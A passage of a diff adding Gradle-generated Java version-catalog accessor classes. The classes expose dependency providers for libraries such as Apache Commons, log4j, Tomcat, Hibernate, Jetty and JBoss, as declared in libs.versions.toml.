OrgApacheClickLibraryAccessors laccForOrgApacheClickLibraryAccessors = new OrgApacheClickLibraryAccessors(owner); + private final OrgApacheCommonsLibraryAccessors laccForOrgApacheCommonsLibraryAccessors = new OrgApacheCommonsLibraryAccessors(owner); + private final OrgApacheLoggingLibraryAccessors laccForOrgApacheLoggingLibraryAccessors = new OrgApacheLoggingLibraryAccessors(owner); + private final OrgApacheMavenLibraryAccessors laccForOrgApacheMavenLibraryAccessors = new OrgApacheMavenLibraryAccessors(owner); + private final OrgApacheMyfacesLibraryAccessors laccForOrgApacheMyfacesLibraryAccessors = new OrgApacheMyfacesLibraryAccessors(owner); + private final OrgApacheTomcatLibraryAccessors laccForOrgApacheTomcatLibraryAccessors = new OrgApacheTomcatLibraryAccessors(owner); + private final OrgApacheWicketLibraryAccessors laccForOrgApacheWicketLibraryAccessors = new OrgApacheWicketLibraryAccessors(owner); + + public OrgApacheLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.click + */ + public OrgApacheClickLibraryAccessors getClick() { + return laccForOrgApacheClickLibraryAccessors; + } + + /** + * Group of libraries at org.apache.commons + */ + public OrgApacheCommonsLibraryAccessors getCommons() { + return laccForOrgApacheCommonsLibraryAccessors; + } + + /** + * Group of libraries at org.apache.logging + */ + public OrgApacheLoggingLibraryAccessors getLogging() { + return laccForOrgApacheLoggingLibraryAccessors; + } + + /** + * Group of libraries at org.apache.maven + */ + public OrgApacheMavenLibraryAccessors getMaven() { + return laccForOrgApacheMavenLibraryAccessors; + } + + /** + * Group of libraries at org.apache.myfaces + */ + public OrgApacheMyfacesLibraryAccessors getMyfaces() { + return laccForOrgApacheMyfacesLibraryAccessors; + } + + /** + * Group of libraries at org.apache.tomcat + */ + public OrgApacheTomcatLibraryAccessors getTomcat() { + return laccForOrgApacheTomcatLibraryAccessors; + } + + /** + * Group of libraries at org.apache.wicket + */ + public OrgApacheWicketLibraryAccessors getWicket() { + return laccForOrgApacheWicketLibraryAccessors; + } + + } + + public static class OrgApacheClickLibraryAccessors extends SubDependencyFactory { + private final OrgApacheClickClickLibraryAccessors laccForOrgApacheClickClickLibraryAccessors = new OrgApacheClickClickLibraryAccessors(owner); + + public OrgApacheClickLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.click.click + */ + public OrgApacheClickClickLibraryAccessors getClick() { + return laccForOrgApacheClickClickLibraryAccessors; + } + + } + + public static class OrgApacheClickClickLibraryAccessors extends SubDependencyFactory { + + public OrgApacheClickClickLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for nodeps with org.apache.click:click-nodeps coordinates and + * with version reference org.apache.click.click.nodeps + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getNodeps() { + return create("org.apache.click.click.nodeps"); + } + + } + + public static class OrgApacheCommonsLibraryAccessors extends SubDependencyFactory { + private final OrgApacheCommonsCommonsLibraryAccessors laccForOrgApacheCommonsCommonsLibraryAccessors = new OrgApacheCommonsCommonsLibraryAccessors(owner); + + public OrgApacheCommonsLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.commons.commons + */ + public OrgApacheCommonsCommonsLibraryAccessors getCommons() { + return laccForOrgApacheCommonsCommonsLibraryAccessors; + } + + } + + public static class OrgApacheCommonsCommonsLibraryAccessors extends SubDependencyFactory { + + public OrgApacheCommonsCommonsLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for collections4 with org.apache.commons:commons-collections4 coordinates and + * with version reference org.apache.commons.commons.collections4 + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getCollections4() { + return create("org.apache.commons.commons.collections4"); + } + + /** + * Dependency provider for lang3 with org.apache.commons:commons-lang3 coordinates and + * with version reference org.apache.commons.commons.lang3 + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getLang3() { + return create("org.apache.commons.commons.lang3"); + } + + /** + * Dependency provider for text with org.apache.commons:commons-text coordinates and + * with version reference org.apache.commons.commons.text + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getText() { + return create("org.apache.commons.commons.text"); + } + + } + + public static class OrgApacheLoggingLibraryAccessors extends SubDependencyFactory { + private final OrgApacheLoggingLog4jLibraryAccessors laccForOrgApacheLoggingLog4jLibraryAccessors = new OrgApacheLoggingLog4jLibraryAccessors(owner); + + public OrgApacheLoggingLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.logging.log4j + */ + public OrgApacheLoggingLog4jLibraryAccessors getLog4j() { + return laccForOrgApacheLoggingLog4jLibraryAccessors; + } + + } + + public static class OrgApacheLoggingLog4jLibraryAccessors extends SubDependencyFactory { + private final OrgApacheLoggingLog4jLog4jLibraryAccessors laccForOrgApacheLoggingLog4jLog4jLibraryAccessors = new OrgApacheLoggingLog4jLog4jLibraryAccessors(owner); + + public OrgApacheLoggingLog4jLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.logging.log4j.log4j + */ + public OrgApacheLoggingLog4jLog4jLibraryAccessors getLog4j() { + return laccForOrgApacheLoggingLog4jLog4jLibraryAccessors; + } + + } + + public static class OrgApacheLoggingLog4jLog4jLibraryAccessors extends SubDependencyFactory { + + public OrgApacheLoggingLog4jLog4jLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for core with org.apache.logging.log4j:log4j-core coordinates and + * with version reference org.apache.logging.log4j.log4j.core + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getCore() { + return create("org.apache.logging.log4j.log4j.core"); + } + + } + + public static class OrgApacheMavenLibraryAccessors extends SubDependencyFactory { + private final OrgApacheMavenPluginsLibraryAccessors laccForOrgApacheMavenPluginsLibraryAccessors = new OrgApacheMavenPluginsLibraryAccessors(owner); + + public OrgApacheMavenLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.maven.plugins + */ + public OrgApacheMavenPluginsLibraryAccessors getPlugins() { + return laccForOrgApacheMavenPluginsLibraryAccessors; + } + + } + + public static class OrgApacheMavenPluginsLibraryAccessors extends SubDependencyFactory { + private final OrgApacheMavenPluginsMavenLibraryAccessors laccForOrgApacheMavenPluginsMavenLibraryAccessors = new OrgApacheMavenPluginsMavenLibraryAccessors(owner); + + public OrgApacheMavenPluginsLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.maven.plugins.maven + */ + public OrgApacheMavenPluginsMavenLibraryAccessors getMaven() { + return laccForOrgApacheMavenPluginsMavenLibraryAccessors; + } + + } + + public static class OrgApacheMavenPluginsMavenLibraryAccessors extends SubDependencyFactory { + private final OrgApacheMavenPluginsMavenAssemblyLibraryAccessors laccForOrgApacheMavenPluginsMavenAssemblyLibraryAccessors = new OrgApacheMavenPluginsMavenAssemblyLibraryAccessors(owner); + + public OrgApacheMavenPluginsMavenLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.maven.plugins.maven.assembly + */ + public OrgApacheMavenPluginsMavenAssemblyLibraryAccessors getAssembly() { + return laccForOrgApacheMavenPluginsMavenAssemblyLibraryAccessors; + } + + } + + public static class OrgApacheMavenPluginsMavenAssemblyLibraryAccessors extends SubDependencyFactory { + + public OrgApacheMavenPluginsMavenAssemblyLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for plugin with org.apache.maven.plugins:maven-assembly-plugin coordinates and + * with version reference org.apache.maven.plugins.maven.assembly.plugin + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getPlugin() { + return create("org.apache.maven.plugins.maven.assembly.plugin"); + } + + } + + public static class OrgApacheMyfacesLibraryAccessors extends SubDependencyFactory { + private final OrgApacheMyfacesCoreLibraryAccessors laccForOrgApacheMyfacesCoreLibraryAccessors = new OrgApacheMyfacesCoreLibraryAccessors(owner); + + public OrgApacheMyfacesLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.myfaces.core + */ + public OrgApacheMyfacesCoreLibraryAccessors getCore() { + return laccForOrgApacheMyfacesCoreLibraryAccessors; + } + + } + + public static class OrgApacheMyfacesCoreLibraryAccessors extends SubDependencyFactory { + private final OrgApacheMyfacesCoreMyfacesLibraryAccessors laccForOrgApacheMyfacesCoreMyfacesLibraryAccessors = new OrgApacheMyfacesCoreMyfacesLibraryAccessors(owner); + + public OrgApacheMyfacesCoreLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.myfaces.core.myfaces + */ + public OrgApacheMyfacesCoreMyfacesLibraryAccessors getMyfaces() { + return laccForOrgApacheMyfacesCoreMyfacesLibraryAccessors; + } + + } + + public static class OrgApacheMyfacesCoreMyfacesLibraryAccessors extends SubDependencyFactory { + + public OrgApacheMyfacesCoreMyfacesLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for impl with org.apache.myfaces.core:myfaces-impl coordinates and + * with version reference org.apache.myfaces.core.myfaces.impl + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getImpl() { + return create("org.apache.myfaces.core.myfaces.impl"); + } + + } + + public static class OrgApacheTomcatLibraryAccessors extends SubDependencyFactory { + private final OrgApacheTomcatEmbedLibraryAccessors laccForOrgApacheTomcatEmbedLibraryAccessors = new OrgApacheTomcatEmbedLibraryAccessors(owner); + private final OrgApacheTomcatTomcatLibraryAccessors laccForOrgApacheTomcatTomcatLibraryAccessors = new OrgApacheTomcatTomcatLibraryAccessors(owner); + + public OrgApacheTomcatLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.tomcat.embed + */ + public OrgApacheTomcatEmbedLibraryAccessors getEmbed() { + return laccForOrgApacheTomcatEmbedLibraryAccessors; + } + + /** + * Group of libraries at org.apache.tomcat.tomcat + */ + public OrgApacheTomcatTomcatLibraryAccessors getTomcat() { + return laccForOrgApacheTomcatTomcatLibraryAccessors; + } + + } + + public static class OrgApacheTomcatEmbedLibraryAccessors extends SubDependencyFactory { + private final OrgApacheTomcatEmbedTomcatLibraryAccessors laccForOrgApacheTomcatEmbedTomcatLibraryAccessors = new OrgApacheTomcatEmbedTomcatLibraryAccessors(owner); + + public OrgApacheTomcatEmbedLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.tomcat.embed.tomcat + */ + public OrgApacheTomcatEmbedTomcatLibraryAccessors getTomcat() { + return laccForOrgApacheTomcatEmbedTomcatLibraryAccessors; + } + + } + + public static class OrgApacheTomcatEmbedTomcatLibraryAccessors extends SubDependencyFactory { + private final OrgApacheTomcatEmbedTomcatEmbedLibraryAccessors laccForOrgApacheTomcatEmbedTomcatEmbedLibraryAccessors = new OrgApacheTomcatEmbedTomcatEmbedLibraryAccessors(owner); + + public OrgApacheTomcatEmbedTomcatLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.tomcat.embed.tomcat.embed + */ + public OrgApacheTomcatEmbedTomcatEmbedLibraryAccessors getEmbed() { + return laccForOrgApacheTomcatEmbedTomcatEmbedLibraryAccessors; + } + + } + + public static class OrgApacheTomcatEmbedTomcatEmbedLibraryAccessors extends SubDependencyFactory { + + public OrgApacheTomcatEmbedTomcatEmbedLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for core with org.apache.tomcat.embed:tomcat-embed-core coordinates and + * with version reference org.apache.tomcat.embed.tomcat.embed.core + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getCore() { + return create("org.apache.tomcat.embed.tomcat.embed.core"); + } + + } + + public static class OrgApacheTomcatTomcatLibraryAccessors extends SubDependencyFactory { + + public OrgApacheTomcatTomcatLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for websocket with org.apache.tomcat:tomcat-websocket coordinates and + * with version reference org.apache.tomcat.tomcat.websocket + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getWebsocket() { + return create("org.apache.tomcat.tomcat.websocket"); + } + + } + + public static class OrgApacheWicketLibraryAccessors extends SubDependencyFactory { + private final OrgApacheWicketWicketLibraryAccessors laccForOrgApacheWicketWicketLibraryAccessors = new OrgApacheWicketWicketLibraryAccessors(owner); + + public OrgApacheWicketLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache.wicket.wicket + */ + public OrgApacheWicketWicketLibraryAccessors getWicket() { + return laccForOrgApacheWicketWicketLibraryAccessors; + } + + } + + public static class OrgApacheWicketWicketLibraryAccessors extends SubDependencyFactory { + + public OrgApacheWicketWicketLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for util with org.apache.wicket:wicket-util coordinates and + * with version reference org.apache.wicket.wicket.util + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getUtil() { + return create("org.apache.wicket.wicket.util"); + } + + } + + public static class OrgAspectjLibraryAccessors extends SubDependencyFactory { + + public OrgAspectjLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for aspectjweaver with org.aspectj:aspectjweaver coordinates and + * with version reference org.aspectj.aspectjweaver + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getAspectjweaver() { + return create("org.aspectj.aspectjweaver"); + } + + } + + public static class OrgBeanshellLibraryAccessors extends SubDependencyFactory { + + public OrgBeanshellLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for bsh with org.beanshell:bsh coordinates and + * with version reference org.beanshell.bsh + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getBsh() { + return create("org.beanshell.bsh"); + } + + } + + public static class OrgClojureLibraryAccessors extends SubDependencyFactory { + + public OrgClojureLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for clojure with org.clojure:clojure coordinates and + * with version reference org.clojure.clojure + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getClojure() { + return create("org.clojure.clojure"); + } + + } + + public static class OrgCodehausLibraryAccessors extends SubDependencyFactory { + private final OrgCodehausGroovyLibraryAccessors laccForOrgCodehausGroovyLibraryAccessors = new OrgCodehausGroovyLibraryAccessors(owner); + + public OrgCodehausLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.codehaus.groovy + */ + public OrgCodehausGroovyLibraryAccessors getGroovy() { + return laccForOrgCodehausGroovyLibraryAccessors; + } + + } + + public static class OrgCodehausGroovyLibraryAccessors extends SubDependencyFactory { + + public OrgCodehausGroovyLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for groovy with org.codehaus.groovy:groovy coordinates and + * with version reference org.codehaus.groovy.groovy + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getGroovy() { + return create("org.codehaus.groovy.groovy"); + } + + } + + public static class OrgEclipseLibraryAccessors extends SubDependencyFactory { + private final OrgEclipseJettyLibraryAccessors laccForOrgEclipseJettyLibraryAccessors = new OrgEclipseJettyLibraryAccessors(owner); + + public OrgEclipseLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.eclipse.jetty + */ + public OrgEclipseJettyLibraryAccessors getJetty() { + return laccForOrgEclipseJettyLibraryAccessors; + } + + } + + public static class OrgEclipseJettyLibraryAccessors extends SubDependencyFactory { + private final OrgEclipseJettyJettyLibraryAccessors laccForOrgEclipseJettyJettyLibraryAccessors = new OrgEclipseJettyJettyLibraryAccessors(owner); + + public OrgEclipseJettyLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.eclipse.jetty.jetty + */ + public OrgEclipseJettyJettyLibraryAccessors getJetty() { + return laccForOrgEclipseJettyJettyLibraryAccessors; + } + + } + + public static class OrgEclipseJettyJettyLibraryAccessors extends SubDependencyFactory { + + public OrgEclipseJettyJettyLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for ant with org.eclipse.jetty:jetty-ant coordinates and + * with version reference org.eclipse.jetty.jetty.ant + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getAnt() { + return create("org.eclipse.jetty.jetty.ant"); + } + + } + + public static class OrgFusesourceLibraryAccessors extends SubDependencyFactory { + private final OrgFusesourceJansiLibraryAccessors laccForOrgFusesourceJansiLibraryAccessors = new OrgFusesourceJansiLibraryAccessors(owner); + + public OrgFusesourceLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.fusesource.jansi + */ + public OrgFusesourceJansiLibraryAccessors getJansi() { + return laccForOrgFusesourceJansiLibraryAccessors; + } + + } + + public static class OrgFusesourceJansiLibraryAccessors extends SubDependencyFactory { + + public OrgFusesourceJansiLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for jansi with org.fusesource.jansi:jansi coordinates and + * with version reference org.fusesource.jansi.jansi + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getJansi() { + return create("org.fusesource.jansi.jansi"); + } + + } + + public static class OrgGlassfishLibraryAccessors extends SubDependencyFactory { + private final OrgGlassfishTyrusLibraryAccessors laccForOrgGlassfishTyrusLibraryAccessors = new OrgGlassfishTyrusLibraryAccessors(owner); + + public OrgGlassfishLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.glassfish.tyrus + */ + public OrgGlassfishTyrusLibraryAccessors getTyrus() { + return laccForOrgGlassfishTyrusLibraryAccessors; + } + + } + + public static class OrgGlassfishTyrusLibraryAccessors extends SubDependencyFactory { + private final OrgGlassfishTyrusTyrusLibraryAccessors laccForOrgGlassfishTyrusTyrusLibraryAccessors = new OrgGlassfishTyrusTyrusLibraryAccessors(owner); + + public OrgGlassfishTyrusLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.glassfish.tyrus.tyrus + */ + public OrgGlassfishTyrusTyrusLibraryAccessors getTyrus() { + return laccForOrgGlassfishTyrusTyrusLibraryAccessors; + } + + } + + public static class OrgGlassfishTyrusTyrusLibraryAccessors extends SubDependencyFactory { + + public OrgGlassfishTyrusTyrusLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for server with org.glassfish.tyrus:tyrus-server coordinates and + * with version reference org.glassfish.tyrus.tyrus.server + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getServer() { + return create("org.glassfish.tyrus.tyrus.server"); + } + + } + + public static class OrgHibernateLibraryAccessors extends SubDependencyFactory { + private final OrgHibernateHibernateLibraryAccessors laccForOrgHibernateHibernateLibraryAccessors = new OrgHibernateHibernateLibraryAccessors(owner); + + public OrgHibernateLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.hibernate.hibernate + */ + public OrgHibernateHibernateLibraryAccessors getHibernate() { + return laccForOrgHibernateHibernateLibraryAccessors; + } + + } + + public static class OrgHibernateHibernateLibraryAccessors extends SubDependencyFactory { + + public OrgHibernateHibernateLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for core with org.hibernate:hibernate-core coordinates and + * with version reference org.hibernate.hibernate.core + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getCore() { + return create("org.hibernate.hibernate.core"); + } + + } + + public static class OrgJavassistLibraryAccessors extends SubDependencyFactory { + + public OrgJavassistLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for javassist with org.javassist:javassist coordinates and + * with version reference org.javassist.javassist + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getJavassist() { + return create("org.javassist.javassist"); + } + + } + + public static class OrgJbossLibraryAccessors extends SubDependencyFactory { + private final OrgJbossInterceptorLibraryAccessors laccForOrgJbossInterceptorLibraryAccessors = new OrgJbossInterceptorLibraryAccessors(owner); + private final OrgJbossRemotingLibraryAccessors laccForOrgJbossRemotingLibraryAccessors = new OrgJbossRemotingLibraryAccessors(owner); + private final OrgJbossRemotingjmxLibraryAccessors laccForOrgJbossRemotingjmxLibraryAccessors = new OrgJbossRemotingjmxLibraryAccessors(owner); + private final OrgJbossSpecLibraryAccessors laccForOrgJbossSpecLibraryAccessors = new OrgJbossSpecLibraryAccessors(owner); + private final OrgJbossWeldLibraryAccessors laccForOrgJbossWeldLibraryAccessors = new OrgJbossWeldLibraryAccessors(owner); + + public OrgJbossLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.interceptor + */ + public OrgJbossInterceptorLibraryAccessors getInterceptor() { + return laccForOrgJbossInterceptorLibraryAccessors; + } + + /** + * Group of libraries at org.jboss.remoting + */ + public OrgJbossRemotingLibraryAccessors getRemoting() { + return laccForOrgJbossRemotingLibraryAccessors; + } + + /** + * Group of libraries at org.jboss.remotingjmx + */ + public OrgJbossRemotingjmxLibraryAccessors getRemotingjmx() { + return laccForOrgJbossRemotingjmxLibraryAccessors; + } + + /** + * Group of libraries at org.jboss.spec + */ + public OrgJbossSpecLibraryAccessors getSpec() { + return laccForOrgJbossSpecLibraryAccessors; + } + + /** + * Group of libraries at org.jboss.weld + */ + public OrgJbossWeldLibraryAccessors getWeld() { + return laccForOrgJbossWeldLibraryAccessors; + } + + } + + public static class OrgJbossInterceptorLibraryAccessors extends SubDependencyFactory { + private final OrgJbossInterceptorJbossLibraryAccessors laccForOrgJbossInterceptorJbossLibraryAccessors = new OrgJbossInterceptorJbossLibraryAccessors(owner); + + public OrgJbossInterceptorLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.interceptor.jboss + */ + public OrgJbossInterceptorJbossLibraryAccessors getJboss() { + return laccForOrgJbossInterceptorJbossLibraryAccessors; + } + + } + + public static class OrgJbossInterceptorJbossLibraryAccessors extends SubDependencyFactory { + private final OrgJbossInterceptorJbossInterceptorLibraryAccessors laccForOrgJbossInterceptorJbossInterceptorLibraryAccessors = new OrgJbossInterceptorJbossInterceptorLibraryAccessors(owner); + + public OrgJbossInterceptorJbossLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.interceptor.jboss.interceptor + */ + public OrgJbossInterceptorJbossInterceptorLibraryAccessors getInterceptor() { + return laccForOrgJbossInterceptorJbossInterceptorLibraryAccessors; + } + + } + + public static class OrgJbossInterceptorJbossInterceptorLibraryAccessors extends SubDependencyFactory { + + public OrgJbossInterceptorJbossInterceptorLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for core with org.jboss.interceptor:jboss-interceptor-core coordinates and + * with version reference org.jboss.interceptor.jboss.interceptor.core + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getCore() { + return create("org.jboss.interceptor.jboss.interceptor.core"); + } + + /** + * Dependency provider for spi with org.jboss.interceptor:jboss-interceptor-spi coordinates and + * with version reference org.jboss.interceptor.jboss.interceptor.spi + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getSpi() { + return create("org.jboss.interceptor.jboss.interceptor.spi"); + } + + } + + public static class OrgJbossRemotingLibraryAccessors extends SubDependencyFactory { + private final OrgJbossRemotingJbossLibraryAccessors laccForOrgJbossRemotingJbossLibraryAccessors = new OrgJbossRemotingJbossLibraryAccessors(owner); + + public OrgJbossRemotingLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.remoting.jboss + */ + public OrgJbossRemotingJbossLibraryAccessors getJboss() { + return laccForOrgJbossRemotingJbossLibraryAccessors; + } + + } + + public static class OrgJbossRemotingJbossLibraryAccessors extends SubDependencyFactory { + + public OrgJbossRemotingJbossLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for remoting with org.jboss.remoting:jboss-remoting coordinates and + * with version reference org.jboss.remoting.jboss.remoting + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getRemoting() { + return create("org.jboss.remoting.jboss.remoting"); + } + + } + + public static class OrgJbossRemotingjmxLibraryAccessors extends SubDependencyFactory { + private final OrgJbossRemotingjmxRemotingLibraryAccessors laccForOrgJbossRemotingjmxRemotingLibraryAccessors = new OrgJbossRemotingjmxRemotingLibraryAccessors(owner); + + public OrgJbossRemotingjmxLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.remotingjmx.remoting + */ + public OrgJbossRemotingjmxRemotingLibraryAccessors getRemoting() { + return laccForOrgJbossRemotingjmxRemotingLibraryAccessors; + } + + } + + public static class OrgJbossRemotingjmxRemotingLibraryAccessors extends SubDependencyFactory { + + public OrgJbossRemotingjmxRemotingLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for jmx with org.jboss.remotingjmx:remoting-jmx coordinates and + * with version reference org.jboss.remotingjmx.remoting.jmx + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getJmx() { + return create("org.jboss.remotingjmx.remoting.jmx"); + } + + } + + public static class OrgJbossSpecLibraryAccessors extends SubDependencyFactory { + private final OrgJbossSpecJavaxLibraryAccessors laccForOrgJbossSpecJavaxLibraryAccessors = new OrgJbossSpecJavaxLibraryAccessors(owner); + + public OrgJbossSpecLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.spec.javax + */ + public OrgJbossSpecJavaxLibraryAccessors getJavax() { + return laccForOrgJbossSpecJavaxLibraryAccessors; + } + + } + + public static class OrgJbossSpecJavaxLibraryAccessors extends SubDependencyFactory { + private final OrgJbossSpecJavaxSecurityLibraryAccessors laccForOrgJbossSpecJavaxSecurityLibraryAccessors = new OrgJbossSpecJavaxSecurityLibraryAccessors(owner); + + public OrgJbossSpecJavaxLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.spec.javax.security + */ + public OrgJbossSpecJavaxSecurityLibraryAccessors getSecurity() { + return laccForOrgJbossSpecJavaxSecurityLibraryAccessors; + } + + } + + public static class OrgJbossSpecJavaxSecurityLibraryAccessors extends SubDependencyFactory { + private final OrgJbossSpecJavaxSecurityJaccLibraryAccessors laccForOrgJbossSpecJavaxSecurityJaccLibraryAccessors = new OrgJbossSpecJavaxSecurityJaccLibraryAccessors(owner); + + public OrgJbossSpecJavaxSecurityLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.spec.javax.security.jacc + */ + public OrgJbossSpecJavaxSecurityJaccLibraryAccessors getJacc() { + return laccForOrgJbossSpecJavaxSecurityJaccLibraryAccessors; + } + + } + + public static class OrgJbossSpecJavaxSecurityJaccLibraryAccessors extends SubDependencyFactory { + private final OrgJbossSpecJavaxSecurityJaccJbossLibraryAccessors laccForOrgJbossSpecJavaxSecurityJaccJbossLibraryAccessors = new OrgJbossSpecJavaxSecurityJaccJbossLibraryAccessors(owner); + + public OrgJbossSpecJavaxSecurityJaccLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.spec.javax.security.jacc.jboss + */ + public OrgJbossSpecJavaxSecurityJaccJbossLibraryAccessors getJboss() { + return laccForOrgJbossSpecJavaxSecurityJaccJbossLibraryAccessors; + } + + } + + public static class OrgJbossSpecJavaxSecurityJaccJbossLibraryAccessors extends SubDependencyFactory { + private final OrgJbossSpecJavaxSecurityJaccJbossJaccLibraryAccessors laccForOrgJbossSpecJavaxSecurityJaccJbossJaccLibraryAccessors = new OrgJbossSpecJavaxSecurityJaccJbossJaccLibraryAccessors(owner); + + public OrgJbossSpecJavaxSecurityJaccJbossLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.spec.javax.security.jacc.jboss.jacc + */ + public OrgJbossSpecJavaxSecurityJaccJbossJaccLibraryAccessors getJacc() { + return laccForOrgJbossSpecJavaxSecurityJaccJbossJaccLibraryAccessors; + } + + } + + public static class OrgJbossSpecJavaxSecurityJaccJbossJaccLibraryAccessors extends SubDependencyFactory { + private final OrgJbossSpecJavaxSecurityJaccJbossJaccApiLibraryAccessors laccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiLibraryAccessors = new OrgJbossSpecJavaxSecurityJaccJbossJaccApiLibraryAccessors(owner); + + public OrgJbossSpecJavaxSecurityJaccJbossJaccLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.spec.javax.security.jacc.jboss.jacc.api + */ + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiLibraryAccessors getApi() { + return laccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiLibraryAccessors; + } + + } + + public static class OrgJbossSpecJavaxSecurityJaccJbossJaccApiLibraryAccessors extends SubDependencyFactory { + private final OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1LibraryAccessors laccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiV1LibraryAccessors = new OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1LibraryAccessors(owner); + + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1 + */ + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1LibraryAccessors getV1() { + return 